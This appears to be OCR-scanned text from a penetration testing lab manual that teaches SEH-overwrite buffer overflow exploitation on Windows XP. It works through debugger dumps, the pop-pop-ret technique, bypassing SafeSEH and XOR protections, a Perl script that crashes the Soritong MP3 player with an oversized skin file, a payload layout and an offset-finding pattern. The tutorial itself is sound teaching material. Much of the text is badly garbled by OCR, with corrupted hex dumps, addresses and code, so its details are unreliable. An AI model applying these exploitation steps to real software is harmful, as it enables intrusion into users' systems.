ModlLoad: 7c9600008 7c9b2066 ntdll.dll

ModlLoad: 7c800008 7c8f6000  C:\WINDOWS\system32\kernel32.dll
ModlLoad: 7410000 7e4al00@  C:\WINDOWS\system32\USER32.DLL
Modioad: 7710008 771590060 C: \WINDOWS\system32\GDI32.d11
Modload: 73d96060 73db7000 C: \WINDOWS\system32\CRTDLL.DLL

The application sits between 00400000 and 0040c000

Search this area for the opcode :
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0:000> s 00400000 1 0046c000 64 Al
08401225 64 al 00 00 00 08 55 89-e5 6a ff 68 1c ad@ 40 08 d..... U..j.h..@.
0040133f 64 al 00 00 00 00 50 64-89 25 00 00 00 €0 81 ec d..... Pd.%......

This is proof that an exception handler is registered. Dump the TEB :

0:600> d fs:[@]

003b:00000000 6c fd 12 00 60 00 13 00-00 0 12 00 00 00 00 08 ......o.vvur...
003b:00000010 08 le PO 00 00 00 00 GG-00 @ fd 7F 00 00 00 00 ........ouuvv...
003b:00000020 84 Od 00 00 54 Oc 00 CO-0O 00 00 00 PO 00 00 00 ....T....ue.....
0683b:00000030 00 do fd 7f 00 0O 00 00-00 00 00 00 00 60 00 00 .......cccue....
©93b:00000040 0O 00 00 60 20 00 00 00-00 00 00 06 00 00 80 99 ....vvvveennnn..
003b:00000056 00 00 00 00 00 00 00 0R-02 B0 0D 0D 88 80 00 00 .....ovvvennn...
003b:00000060 00 00 00 00 00 00 60 00-00 80 00 00 99 60 60 80 ...cuveeeeenr .,
©083b:00000870 60 00 00 00 B0 00 0O 00-80 00 GO 00 00 00 00 90 ...vuvrenrnrnrns
©:880> lexchain

0@12fdec: ntdlllstrchr+113 (7c90e920)

The pointer points to 0x0012fd0c (begin of SEH chain). When looking at that area, we see :

©:000> d ee12fdec

0012fdec Ff £f ff ff 20 €9 90 7c-30 b0 91 7¢c @1 @0 00 006 ..., ..{0..|....
@e12fdlc €0 00 00 00 57 e4 90 7c-30 fd 12 90 00 @0 90 7c¢ ....W..[0...... |
©012fd2c 00 00 00 60 17 00 91 ©P-00 00 60 00 60 00 00 8D . ...ovveeeennnn.
0012fd3c ©0 00 00 60 00 00 00 CO-00 DO 00 00 00 80 80 8O  ....ovvrurennn..
©012fddc 08 36 be 81 92 24 3e 8-18 30 be 81 18 aa 3c 82 .0...$>..0....<.
0012fd5c 90 2f 20 82 ©1 00 00 00-00 GO 00 00 00 08 00 00 ./ ..ovuruunnnn.
0e12fd6c ©0 00 00 00 00 0O 00 00-00 00 00 00 00 88 080 8O ..o eeneenn,
0012fd7c ©1 00 00 T4 00 00 00 00-00 00 0O 80 00 00 08 BB  ..ovvveeerrennns

ff £f {f ff indicates the end of the SEH chain. That’s normal, because the application is not started yet. (Windbg
is still paused)

If you have the Ollydbg plugin Ollygraph installed, you could open the executable in ollydbg and create the
graph, which should indicate if an exception handler is installed or not :
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S WindiraphiEz - Graph o 40ER2E

 |Hov £4v DwarRo FIR FE:[0) |
FUSHEBF

HOY &6F ESF

PUEH -1

FUSH sehiesy JQ0S01E

- IPUSH sahiess 00401098
FUSH E&N

sy (ORD PER PSS ,85P
S E3R, 40
PlEH EEX

FLEH £351

FLTMH EOT

HOY &¥ORD PTR
HAK PYORD FER
HOW [YORD PTR
LEf €A%, DNIRD
HOW D¥ORE PYR
FLISH Eax

55:[EBP-18]) ,E3P
[E:[40ARE0F sah
$5[ELF-4%,0

PIR 55 :[EEP~]
D[ 40R0G3R] ,Eax

i Eetry address

test ON451214

When we run the application (F5 or ‘g’), we see this :

0:000> d fs:[0]
k% EFRROR: Symbol
003b:00000000 49
003b:00000010 08
003b:00000020 84
003b:00000030 09
003b:00000040 ad
©03b:08000050 00
003b:00000060 @0
003b:00000070 0O
0:000> d 0912ff40
pe12ff4e be ff 12
0812ff50 64 ff 12
0012ff68 Ff ff ff
eQL2Ff7€@ 4a 7 63
0012ff806 00 00 00
0012FFfS8 00 02 00
0012ffa@ 06 00 e8
0012ffb0 e@ ff 12

ff
le
ad
de
06
00
1515]
06

12
2 14]
%]
fd
85
00
20
{]5]

00
00
£F
o1
00
00
00
00

dsg
26
co
6o
2e
2
84
9a

file could not
1515
80
1512
7
ez
0o
%1%
514

be
13
29
151%]
%1%}
0o
(%1%
09
09

found.
00-09.
89-00
20-00.
0e-e0
be-00
00 -00
80-00
890-80

1517
5151
54
415]
00
0
505
545

515
00
Bc
20
00
(51%]
1%}
00

81
514]
ds
d9
40
63
12
406

9a
cb
f
do
51}
6
2d
18

83
81
12
fd
ee
63
4c¢
48

7¢c-e8
7c-00
po-28
7f-6d
Be-ca
©1-4a
f4-94
2e-1c

ca
00
20
1t
12
7
Ff
ae

00
0

Defaulted
de 12 60 eo
fo fd 7f ee
00 00 00
00 00 00
00 00 00
00 00 00
00 00 00
00 00 00

(5%
ea
514
Qo

7¢C
00
73
73
(51%]
21
515
20

(515]
bo
20
1515
20
20
ab
20

00
3
00
(515
512
do
1c
00

oe
el
515
o0
00
fd
58
o8

to
00
151%]
00
0o
5]2]
5]2%)
00
00

‘08

export symbols for .
09

nnnnnnnnnnnnnnn

----------------

oe
00
51%]
08
514
ee

-----------

----------------

................

----------------

----------------

----------------

ooooooo

oooooooo

..........

ooooo

......

.....

ooooooo

ooooooooooo

The TEB for the main function is now set up. The SEH chain for the main function points at 0x0012£f40, where
the exception handler is listed and will point to the exception handler function (0x0012{fb()

In OllyDbg, you can see the seh chain more easily :
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e ol T tum-i:%é F o
LI ZFFER: sahtaa ., Sadiid Fa)
BYIZFFER| berne | T, FORTHEH

(There is a similar view in Immunity Debugger - just click *View" and select "SEH Chain")

Stack :

(SRR
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BAIZEE
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TEESNEE °F handls
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& Mﬁu
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aa QOGO
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o G
2

‘B:Painter to next SEH record
. . handigr ]
¥ SERT e, Q4G
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AILEFFDC] A183E€R34

GRLIFFEG! FEFFFFFE End of $EH chain
d BOIZFFEY, TCBFSAOGE SE handler

: BUL‘_?FEM ?CE]."’%EI kerne | 34, 7017080

Zagust sope po 3

L-h-
o]
)
o
';’1
=
T
e o

Here we can see a pointer to our Exception Handler function ExceptionHandler() (0x0040109A)

Anyways, as you can see in the explanation above the example, and in the last screenshot, exception handlers
are connected/linked to each other. They form a linked list chain on the stack, and sit relatively close o the
bottom of the stack. (SEH chain). When an exception occurs, Windows ntdll.dll kicks in, retrieves the head of
the SEH chain (sits at the top of TEB/TIB remember), walks through the list and tries to find the suitable
handler. If no handler is found the default Win32 handler will be used (at the bottom of the stack, the one after
FFFFFFFF).

We see the first SE Handler record at 0012FFF40. The next SEH address points to the next SEH record
(O012FFBO). The current handler points at 7C839ADS. It looks like this is some kind of OS handler (the
pointers points into an OS module)
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Then, the second SEH record entry in the chain (at 0012FFBO) has the following values : next SEH points to
Q012FFEOQ. The handler points at 0040109A. This address is part of the executable, so it looks like this 15 an
application handler.

Finally, the last SEH record 1n the chain (at 0012FFEQ) has FEFFFEFF in nseh. This means that this is the last
entry in the chain. The handler points at 7C839ADS, which is an OS handler again.

So, putting all pieces together, the entire SEH chain looks like this :

You can read more about SEH in Matt Pietrek’s excellent article:
http://www.microsoft.com/msi/0197/exception/exception.aspx

Changes in Windows XP SP1 with regards to SEH:

XOR

In order to be able to build an exploit based on SEH overwrite, we will need to make a distinction between
Windows XP pre-SP1 and SP1 and up. Since Windows XP SP1, before the exception handler is called, all
registers are XORed with each other, making them all point to 0x00000000, which complicates exploit building
(but does not make it impossible). That means that you may see that one or more registers point at your payload
at the first chance exception, but when the EH kicks in, these registers are cleared again (so you cannot jump to
them directly in order to execute your shellcode). We’ll talk about this later on.

DEP & Stack Cockies
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On top of that, Stack Cookies (via C++ compiler options) and DEP (Data Execution Prevention) were
introduced (Windows XP SP2 and Windows 2003) . WE will write an entire lab on Stack cookies and DEP. In
sort, you only need to remember that these two techniques can make it significantly harder to build exploits.

SafeSEH

Some additional protection was added to compilers, helping to stop the abuse of SEH overwrites. This
protection mechanism is active for all modules that are compiled with /safeSEH

Windows 2603
Under Windows 2003 server, more protection was added. WE’m not going to discuss these protections in this
lab (check lab series part 6 for more info), because things would start to get too complex at this point. As soon

as you mastered this lab, you will be ready to look at lab part 6 :-)

XOR, SafeSEH,.... but how can we then use the SEH to jump to shelicode ?

There is a way around the XOR 0x00000000 protection and the SafeSEH protections. Since you cannot simply

¢ jump to a register (because registers are xored), a call to a series of instructions in a dll will be needed.

(You should try to avoid using a call from the memory space of an OS specific dll, but rather use an address
from an application dll instead in order to make the exploit reliable (assuming that this dll is not compiled with
safeSEH). That way, the address will be *almost* always the same, regardless of the OS version. But if there
are no Dlls, and there is a non safeseh OS module that is loaded, and this module contains a call to these
mnstructions, then it will work too.)

The theory behind this technique is : If we can overwrite the pointer to the SE handler that will be used to deal
with a given exception, and we can cause the application to throw another exception (a forced exception), we
should be able to get control by forcing the application to jump to your shellcode (instead of to the real
exception handler function). The series of instructions that will trigger this, is POP POP RET. The OS will
understand that the exception handling routine has been executed and will move to the next SEH (or to the end
of the SEH chain). The pointer to this instruction should be searched for in loaded dlls/exe’s, but not in the
stack (again, the registers will be made unusable). (You could try to use ntdil.dll or an application-specific dil)

One quick sidenote : there is an excellent Ollydbg plugin called OllySSEH, which will scan the process loaded
modules and will indicate if they were compiled with SafeSEH or not. It is important to scan the dlls and to use
a pop/pop/ret address from a module that is not compiled with SafeSEH. If you are using Immunity Debugger,
then you can use the pvefindaddr plugin to look for seh (p/p/r) pointers. This plugin will automatically filter
invalid pointers (from safeseh modules etc) and will also look for all p/p/r combinations.

Normally, the pointer to the next SEH record contains an address. But in order to build an exploit, we need to
overwrite it with small jumpcode to the shellcode (which should sit in the buffer right after overwriting the SE
Handler). The pop pop ret sequence will make sure this code gets executed.

In other words, the payload must do the following things:

1. Cause an exception. Without an exception, the SEH handler (the one you have overwritten/control)
won’t kick in.

Copyright InfoSec Institute, Inc. | Expert Penetration Testing Lab Manual i



2. Qverwrite the pointer to the next SEH record with some jumpcode (so it can jump to the shellcode)
3. Overwrite the SE handler with a pointer to an instruction that will bring you back to next SEH and

execute the jumpcode.
4. The shellcode should be directly after the overwritten SE Handler. Some small jumpcode contained in
the overwritten “pointer to next SEH record” will jump to it).

Access violation [ exceptionis triggered

{1j Exception Handler
kicksin {4} Pointer to next SEH was overwritten
with jmp to shellcede

Pointertonaxt SEH record » Shellcode

i

.| Current St Handler

{2} Current SE handler was overwritten and

points to pop,pop,ret

pop.pap,ret

(3} pop,pop.ret. During prefogue of exception hapdler,
addrass of pointer to next SEH was put on stack ot ESP4R. pop
pap ret pulys This oddress in 818 ond aifows execuliovn of the code
af the address of “pointer ta ekt 5667,

As explained at the top of this lab, there could be no exception handlers in the application (in that case, the
default OS Excecption Handler takes over, and you will have to overwrite a lot of data, all the way to the
bottom of the stack), or the application uses its own exception handlers (and in that case you can choose how far
‘deep” want to overwrite).

A typical payload will look like this
[Junk][nSEH]}{SEH][Nop-Shellcode]
Where nSEH = the jump to the shellcode, and SEH is a reference to a pop pop ret

Make sure to pick a universal address for overwriting the SEH. Ideally, try to find a good sequence in one of the
dils from the application itself.

Before looking at building an exploit, we’ll have a look at how Ollydbg and windbg can help tracing down SEH
handling (and assist you with building the correct payload)
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See SEH in action — Ollydbg

When performing a regular stack based buffer overflow, we overwrite the retumn address (EIP) and make the
application jump to our shellcode. When doing a SEH overflow, we will continue overwriting the stack after
overwriting EIP, so we can overwrite the default exception handler as well. How this will allow us to exploit a
vulnerability, will become clear soon.

Let’s use a vulnerability in Soritong MP3 player 1.0. You will find this application in the “vulnerable programs
to exploit” folder on your VM. Unzip the soritong10.zip file and install the application.

The vuinerability points out that an invalid skin file can trigger the overflow. We’ll use the following basic perl
script to create a file called ULtxt in the skin\default folder :

$uitxt = "ui.txt";
my $junk = "A"™ x 5000 ;

open{myfile,">$uitxt"™)
print myfile $junk;

Now open soritong. The application dies silently (probably because of the exception handler that has kicked in,
and has not been able to find a working SEH address (because we have overwritten the address).

Flrst, we’ll work with Ollydbg/Immunity to clearly show you the stack and SEH chain . Open
Ollydbg/Immunity Debugger and open the soritong.exe executable. Press the “play” button to run the
application. Shortly after, the application dies and stops at this screen
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The application has died at 0x0042E33. At that point, ESP points at 0x0012DA14. Further down the stack (at
0012DA6C), we see FFFFFFFF, which looks likeindicates the end of the SEH chain. Directly below
0x0012DA 14, we see 7TE41882A, which is the address of the default SE handler for the application. This
address sits in the address space of user32.dlL.
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SHELE 32

A couple of addresses higher on the stack, we can see some other exception handlers, but all of them also
belong to the OS (ntdll in this case). So it looks like this application (or at least the function that was called and
caused the exception) does not have its own exception handler routine.

g3leslole Sleds) o
PAISt4 18 I ICODE "nealrpe™
fapaGaga

RE?UQN to st L F0998594 From ntdl 120950007
VPOH 2967 RETURN to nodf L PCYIZRET fran nudgll, 7096508

—ORT.EERY
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'H]

TETURI To BTOE l.rhoaEnrl FEoH mtel [tk [ iHemoradlenyg |
USERSS, TE44048F

L5154 WS 3]
FEE3BEE

When we look at the threads (View — Threads) select the first thread (which refers to the start of the
application), right click and choose ‘dump thread data block’, we can see the Pointer to the SEH chain :

&
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| FEFOEREC]
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mmwm m‘-‘ thmad‘s stack]
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[Lagt error

| (Foirter to Thessd Local Storsse)

= ERROF SUCCESS)

- So the exception handler worked. We caused an exception (by building a malformed ui.txt file). The application
~ jumped to the SEH chain (at 0x0012DF64).

Go to “View” and open “SEH chain”

"j;j e

Cfre pre




The SE handler address p
exception.

The SE handler has been overwritten with 4 A’s. Now it becomes interesting. When the exception is handled,
EIP will be overwritten with the address in the SE Handler. Since we can control the value in the handler, we
can have it execute our own code,

See SEH in action - Windbg

When we now do the same in windbg, this is what we see :

Close Ollydbg, open windbg and open the soritong.exe file.

The debugger first breaks (it puts a breakpoint before executing the file). Type command g (go) and press
return. This will launch the application. (Alternatively, press F5)
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Soritong mp3 player launches, and dies shortly after. Windbg has catched the “first change exception”. This
means that windbg has noticed that there was an exception, and even before the exception could be handled by

the application, windbg has stopped the application flow :
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The message states “This exception may be expected and handled”.

Look at the stack :

00422e33 8810 7 mov byte ptr [eax],dl ds:0023:00130000=41
0:908> d esp
6012dald 3c eb 2a 00 00 00 00 CO-00 00 OB 00 00 PO BY 00 <....vvivsennenn.

9012da24 94 da 12 00 90 00 @0 ©0-c@ ad 15 00 90 00 00 00 ..... e .
9012da34 ©0 00 G0 00 00 0O 0O ©6-00 00 00 09 94 88 94 7C ...... s |
0012dadd 67 28 91 7c 00 eb 12 @0-00 00 00 00 01 a0 8 08 g(.|......... .
0012da54 ©1 00 00 00 24 da 12 ©0-71 b8 94 7c d4 ed 12 00 ....$...q..]....
0012da64 8F 04 44 7e 30 88 41 Te-ff £f FFf ff 2a 88 41 7e ..D~@.A~v....*. A~
0012da74 7b 92 42 7e af 41 60 ©0-b8 da 12 00 d8 88 @b 5d {.B~.A.........]

2012dag84 94 da 12 @9 bf fe ff ff-b8 0 12 00 b8 a5 15 88 ....... ... ..
fIFFFTf here indicates the end of the SEH chain. When we run lanalyze -v, we get this :

FAULTING TP:
SoriTong!TmCi3_5+3eal3
Qe422e33 8818 mov byte ptr [eax],dl

EXCEPTION_RECORD: ffffffff -- {(.exr exfftffffFfrerfief)
ExceptionAddress: 00422e33 (SoriTong!TmCl3_5+@x60083ea3)
- ExceptionCode: c0008605 (Access violation)
ExceptionFlags: ©0000060
NumberParameters: 2
Parameter[6]: 060600081
Parameter[1]: 08130000
Attempt to write to address 60130000

FAULTING_THREAD: 00800adc

PROCESS_NAME: SoriVong.exe

ADDITIONAL_DEBUG _TEXT:

Use 'ifindthebuild' command to search for the target build information.

If the build information is available, run 'tfindthebuild -s ; .reload' to set symbol path and
load symbols. ' S o
FAULTING_MCDULE: 7c900008 ntdll

DEBUG _FLR_IMAGE_TIMESTAMP: 37dee@®

1]

ERROR_CODE: (NTSTATUS) ©xc@000085 - The instruction at "0x%e8lx" referenced memory at "@x%@alx".
The memory could not be "%s".

EXCEPTION_CODE: (NTSTATUS) 0xc@008885 - The instruction at "@x%@81x" referenced memory at
"ex%e81x". The memory could not be "%s".

EXCEPTION_ _PARAMETER1: @©Beeoeol
EXCEPTION_PARAMETERZ: ©09138000

WRITE_ADDRESS: 00139800
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FOLLOWUP_IP:

SoriTong!TmC1l3 5+3ea3

00422e33 8810 mov byte ptr [eax],dl

BUGCHECK_STR: APPLICATION_FAULT_INVALID POINTER_WRITE WRONG_SYMBOLS

PRIMARY_PROBLEM_CLASS: INVALID POINTER_WRITE

DEFAULT_BUCKET_ID: INVALID_POINTER_WRITE

IP_MODULE_UNLOADED:

ud+41414140

41414141 ?? 22?7

LAST _CONTROL_TRANSFER: from 41414141 to ©0422e33

STACK_TEXT:

WARNING: Stack unwind information not available. Follewing frames may be wrong.

0012Fd38 41414141 41414141 41414141 41414141 SoriTong!TmC1l3 5+6x3ea3l

0012fd3c 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140

80121d4e 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+ax41414140

0012fd44 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+8x41414140

00127d48 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140

eel2fddc 41414141 41414141-41414141 41414141 <Unloaded ud.drv>+0x41414140

88121d50 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+8x41414148

00121d54 41414141 414141471 41414141 41414141 <Unloaded_ud.drv>+8x41414140
. (removed some of the lines)

©012ffb8 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+6x41414140
@e12ffbc

SYMBOL _STACK_TNDEX: @

SYMBOL_NAME: SoriTong!TmCi3_S+3eal

FOLLOWUP_NAME: MachineOwner

MODULE_NAME: SoriTong

IMAGE_NAME: SoriTong.exe

STACK_COMMAND: ~8s ; kb

BUCKET _ID: WRONG_SYMBOLS

FATLURE_BUCKET_ID: INVALID_POINTER_WRITE_c0000005_SoriTong.exe!TmC13 5

Followup: MachineOwner

The exception record points at ffffffff, which means that the application did not use an exception handler for
this overflow (and the “last resort” handler was used, which is provided for by the OS).

When you dump the TEB after the exception occurred, you see this
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8:000> d fs:[@]
©03b: 00006000
©003b:00000010
0e3b:00000020
003b:80000030
©03b:060000040
©03b:00000050
©03b:00000060
©03b: 000006706

1514]
7f
1514]
915]
09
(51%]
00
515]

(51%]
1515]
a8
(519)
51%]
00
[535]
00

00
(515
2a
51%]
ee
00
20
[5]5]

fd
le
ef
bo
43
(515]
1515
(19

00-04
08-00
06-00
00-00
06-00
0e-00
006 -04
86-09

cd
fo
29
1515]
1515
[515]
e
1915]

12
%)
00
fd
a4
1515]
(41%]
00

a0
00
00
7f
e2
00
Qe
00

51%)
%1%
3@
%1%
00
1913]
1515]
0o

515
29
eb
151%]
515
00
20
1%

13
00
00
ge
90
Q20
20
1514]

12
fd
)
)
00
00
00
00

Notice the pointer to the SEH chain, at 0x0012FD64.
That area now contains A’s:

©:000> d 0012fd64

0012fd64
©012fd74
Q012+d84
0e12fdo4
eel2fdasd
ee12fdba
©e12fdc4
pel12fdd4

41
41
41
41
41
41
41
41

41
41
41
41
41
a1
41
a1

41
41
41
41
41
41
41
a1

41
41
41
41
41
41
41
41

The exception chain says :

0:000>

0812fd64:

You have overwritten the exception handler. Now let the appliation catch the exception (simply type ‘g’ again

lexchain

41
41
41
41
41
41
41
41

41
41
41
41
41
41
41
41

41
41
41
41
41
41
41
41

41-41
41-41
41-41
41-41
41-41
41-41
41-41
-41-41

41
41
47
41
41
43
41
41

41
41
4l
41
41
41
41
4l

41
41
41
41
41
41
41
41

41
41
41
41
41
41
41
a1

<Unloaded ud.drv>+41414148 (41414141)
Invalid exception stack at 41414141

in windbg, or press F5) and let’ see what happens :

41
41
41
41
41
41
41
41

41
41
41
41
41

41
41
41

41
43
41
41
41
A4l
41
41

©e
20
14
515
00
00
06
00

“

e

R

TR

L

" s e

............

............

--------

------------

------------

------------

------------

------------

AAAAAAAAAAAAAAAA
AAAAAAAAAAAALAAA
ARAAAAAAAAAAAAAA
AAAAAAAAAAALAAAA
AAAAAAAAAAAAAAAA
AMAAAAAAAAAALAAAA
AAAAABAAAAAALLAA
AAAAAMAAAAAAAAAA

0:000> g
(bEQ , adc)

Aocens

violation - code cQO00000% (first chance)

Firet chcmm exccpt ions are roeported before any exception handling.
This exception may be ex ted and handled.
cip=41414141 osp=0012d644 cbp= 00124564 iopl«0 ne up ei pl zz
o=l ss=0022 ds=H023 e==0023 {fe=003b gs=0060
<Unloaded_ud  dxvr+0x45414140;

41414141 2?7 277

na

pas

eox=00000000 ebx=00000000 eux=41414141 edw=?c3032be esi=00G000G0 cdx-ﬂOOOOOOO
2

eilx 98010248

eip now points to 41414141, so we can control EIP.

The exchain now reports
9:000> lexchain
00812d658:
0012fd64: <Unloaded ud.drv>+41414140 (41414141)
Invalid exception stack at 41414141

ntdlliRtIConvertUlongTolLargeInteger+7e (7¢9@32bc)
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Microsoft has released a wmdbg extension called ’explmtable You can f'md the “texploitable windbg
plugin.zip” file inside the “Compliers & interpreters” directory on your VM desktop.

Put the dlt file in the windbg program folder, inside the winext subfolder.

[T 25 3 R A e AL S N P

o Ly i
g mafne ;%E;l‘-: o

This module will help determining if a given application crash/exception/acces violation would be exploitable
or not. {So this 1s not limited to SEH based exploits)

When applying this module on the Soritong MP3 player, right after the first excepnon oceurs, we see this :
(588.58¢): Access violaticn - code ¢@@090085 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

€ax=00136000 ebx=000006Q3 ecx=02000B41 edx-00000841 esi=B017f504 edi=p012fd64

eip=20422e33 esp=0012dai4 ebp=£012F¥d38 iopl=0 nv up el pl nz ac po nc

cs=291b s55=0823 ds=0023 es=0023 fs=083bh gs5=00060 ef1=00016212

¥EX WARNING: Unable to verify checksum for SoriTong.exe

*¥% ERROR: Symbol file could not be found, Defaulted to export symbols for SoriTong.exe -
SoriTong{TmC13_5+@x3eal:

86422033 8310 mov byte ptr [eax],dl ds:0623:00130000=41

0:808> 1load winext/msec.dll

2:9080> lexploitable

Exploitability Classification: EXPLOITABLE

Recommended Bug Title: Exploitable - User Mode Write AV starting at SoriTong!TmCl3_5+8x6002000080803ea3
(Hash=0x46305989, 8x7f354a3d)

User mode write access viclations that are not near NULL are exploitable.
After passing the exception to the application (and windbg catching the exception), we see this :

0:000> g

(588.58c): Access violation - code ¢0000005 {first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

£ax=00000000 cbx-02000808 ecx=41414141 edx=7¢%032b¢ esi=00000828 odi=00RERGEA

eip=41414141 esp=6@12d644 ebp=0812d664 iopl=0 nv up ei pl zr na pe nc
¢5=001b s55=0023 ds=0023 es=B823 fs=003b gs=0000 efl=00010246
<tnloaded ud.drv>+0x41414140:
41414141 ?? 2?7

08:868> fexploitable
Exploitability Classification: EXPLOITABLE
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Recommended Bug Title: Exploitable - Read Access VYiolation at the Instruction Pointer starting at
<Unloaded_ud.drv>+0x0000006041414148 (Hash=0x4d435a4a.0x3e61668a)

Access violations at the instruction pointer are exploitable if not near NULL.
Great module, nice work Microsoft :-)

Can you_use the shellcode found in the registers to jump to ?

Yes and no. Before Windows XP SP1, you could jump directly to these registers in order to execute the
shellcode. But from SP1 and up, a protection mechanism has been plut in place to protect things like that from
happening. Before the exception handler takes control, all registers are XOred with each other, so they all point
to 000000000

That way, when SEH kicks in, the registers are useless.

Advantages of SEH Based Exploits over RET (direct EIP) overwrite stack overflows
In a typical RET overflow, you overwrite EIP and make it jump to your shellcode.

This technique works well, but may cause stability issues (if you cannot find a jmp instruction in a dil, or if you
need to hardcode addresses), and it may also suffer from buffer size problems, limiting the amount of space
available to host your shellcode.

It’s often worth while, every time you have discovered a stack based overflow and found that you can overwrite
EIP, to try to write further down the stack to try to hit the SEH chain. “Writing further down” means that you
will likely end up with more available buffer space; and since you would be overwriting EIP at the same time
(with garbage), an exception would be triggered automatically, converting the ‘classic’ exploit into a SEH
exploit.

Then how can we exploit SEH based vulnerabilities ?
Easy. In SEH based exploits, your junk payload will first overwrite the next SEH poinier address, then the SE

Handler. Next, put your shellcode.

When the exception occurs, the application will go to the SE Handler. So you need to put something in the SE
Handler so it would go to your shellcode. This is done by faking a second exception, so the application goes to
the next SEH pointer.

Since the next SEH pointer sits before the SE Handler, you can already overwritten the next SEH. The
shellcode sits after the SE Handler. If you put one and one together, you can trick SE Handler o run pop pop
ret, which will put the address to next SEH in EIP, and that will execute the code in next SEH. (So instead of
putting an address in next SEH, you put some code in next SEH). All this code needs to do is jump over the
next couple of bytes (where SE Handler is stored) and your shellcode will be executed:
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Ist exception occurs :

--------------------------- i (1)
——————— to--m~emeo----n (3 opcode in next SEH : jump over SE Handler to the shellcode
i l |
| v v
[ Junk buffer [ next SEH ][ SE Handler ][ Shellcode ]
opcode to do (3) shellcode gets executed
jump over  pop pop ret

SE Handier |

" |

—————————————— (2) will ‘pretend® there’s a second exception, puts address of next SEH
location in EIP, so opcode gets executed :

Of course, the shellcode may not be right after overwriting SE Handler. .. or there may be some additional
garbage at the first couple of bytes... It’s important to verify that you can locate the shellcode and that you can
properly jump to the shellcode.

How can you find the shellcode with SEH based exploits ?

First, find the offset to next SEH and SEH, overwrite SEH with a pop pop ret, and put breakpoints in next SEH.
This will make the application break when the exception occurs, and then you can look for the shelicode. See
the sections below on how to do this.

Building the exploit ~ Find the “next SEH” and “SE Handler” offsets

We need to find the offset to a couple of places in memory:

» Location where we will overwrite the next SEH (with jump to shellcode)

+ Location where we will overwrite the current SE Handler (should be right after the “next SEH” (we
need to overwrite this something that will bring us back at next SEH)

» Location of the shellcode

A simple way to do this is by filling the payload with an unique pattern (metasploit rulez again), and then
looking for these 3 locations

my
$junk="AaBAalAa2Aa3Aa4Aa5AabAa7AaBAaSAbBAbIAb2AbIABAADSABEADTABSALIACOACTAC2ACIACAACSAC" .

"B6ACTACBACIANOAdIAd2Ad3Ad4AdSADEAd7AdBAdIACBAe1AR2Ae3AcdAe5Ae6Ae7Ae8AcOAFOAFIAFIA" .,
"f3AFAAFSATEATTATBATIAgOAZ1Ag2Ag3AgAAESAZEAZT7ARSAEIANBANTIAR2AN3AN4ARSARGART7ARSARS " .
"ALBAI1AI2AI3A1I4A15A16AI7AIBAICATOATIAT2AT3AJAAT5AT6AT7ATBATOAKDAKLAK2AKIAKLAKSAK " .
"6AK7AK8AKIAIBALIAL2AL3A14A15A16A17A18AT9AMOAMLAN2AM3AMAAMSAMGAN7 AMSAMSANDANTAN2A" .
"n3An4An5An6An7An8An9A06Ao1A02Ao3A04Ao5A06A07A08A09Ap9Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9”.
"AgOAQLlAQ2AG3AQ4AGSAGBAGTAGBAGSArBAr1Ar2Ar3ArAArSAPGANTArSAr9ASPASIAS2ASIASAASSAS ",
“"BAS7ASBASOALOATIAL2ATIATAALSATEAT7ALBATIAURAUTAUZALSAULAAUSAUBAUTAUSAUSAVOAVIAVIA™,
"V3AVAAVEAVEAVTAYBAVIAWBAWLIAWZ AW AWAAWS AWEAW7 AWSAWIAXQAX TAX2AX 3AXAAXSAXEAXTAXBAXS " ,
"AYBAY1AY2Ay3AYAAYSAYEAYTAYBAYOAZBAZ1AZ2AZ3AZAAZ5AZ6A2TAZ8AZ9BaOBa1BA2Ba3BadBasBa ",
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"6Ba7Ba8Ba9BbeBb1Bb2Bb3BbABb5Bb6Bb7BbE8BbIBCABCIBC2BC3BCc4BCSBCcABC7BCSBCeBdOBA1Bd2B" .
"d3Rd4Bd5Bd6Bd7RBI8RASReORelBe2B8e3RedBe5Re6Be7Be8B00RTORT1BF2BF3BT4BTEBFEBF7BFEBFO",
"BgoBgl1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh@Bh1Bh2Bh3Bh4Bh58h6Bh78h8BhoBioBi1Bi2Bi3Bi4Bi5B1".
"6B17Bi8Bi9BjGBI1Bj2Bj3Bj4Bi5Bj6Bj7Bj8Bj9BkoBk1Bk2Bk3Bk4BkSBk6Bk7Bk8BkOB1OB11B12B" .
"13B14B15B16B17B18B19BmOBM1BM2B1m3BmABMSEBMERBM7BmEBmIBNBN1BN2Bn3Bn48n5Bn6Bn78n8Bna” .
“"BoBB01B02B03B0o4B05B0o6B07B08B0SBpeBp1Bp2Bp3Bp4BpS5Bp6eBp7Bp8Bp9BgeBqlBq2Bq3Bg4Bg5Bg” .
"6Bq7Bq8BqoBreBriBr2Br3Br4BroBreBr7Br8BroBseBs1iBs2Bs3Bs4Bs5Bs6Bs7Bs8BsOBtOBT1BT2B" .
"t3Bt4BtSRtERT7RTRREORURBUIRU2BU3BU4BUSBUGBU7BUSBLOBVABYIBV2Bv3BVv4BYSBYGEBY7BVEBYVS".
"BwoBwl1Bw2Bw3Bw4BwWSBWEBW7BWEBWIBXOBX1BX2BX3Bx4BX5BX6BX7BX8BXx9ByOBy 1By 2By3By4ByS5By " .
"6By7By8By9Bz0OB71B72Bz3Bz4Bz5B26B27828B29Ca0Calla2Ca3Ca4CasCaba7Ca8Cas%Chacbllb2C” .
"H3Ch4ACh5ChECh7Ch8ChoCcBCc1Cc2Cc3Cc4Ce5CchCc7Ce8CcaCdaCd1Cd2Cd3Cd4Cd5CdeCd7Cd8Cdse" .
"Ce@CelCe2Ce3CesCe5Ce6Ce7Ce8Ce9CFaCT1CF2CF3CFACFSCF6CF7CFECFICEOCg1lg2(g3CgdalgsCg".
"6Cg7Cg8Cg9ChaCh1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9CinCi1Ci2¢i3Ci4Ci5CieCi7Ci8CivCjOCI1C2C".
"§3Cj4Ci5Ci6CF7CI8CTICkBCKkICk2Ck3CkACK5CkeCk7Ck8CkoC10C11C12C13C14C15C16C1I7C18CLIS"Y,
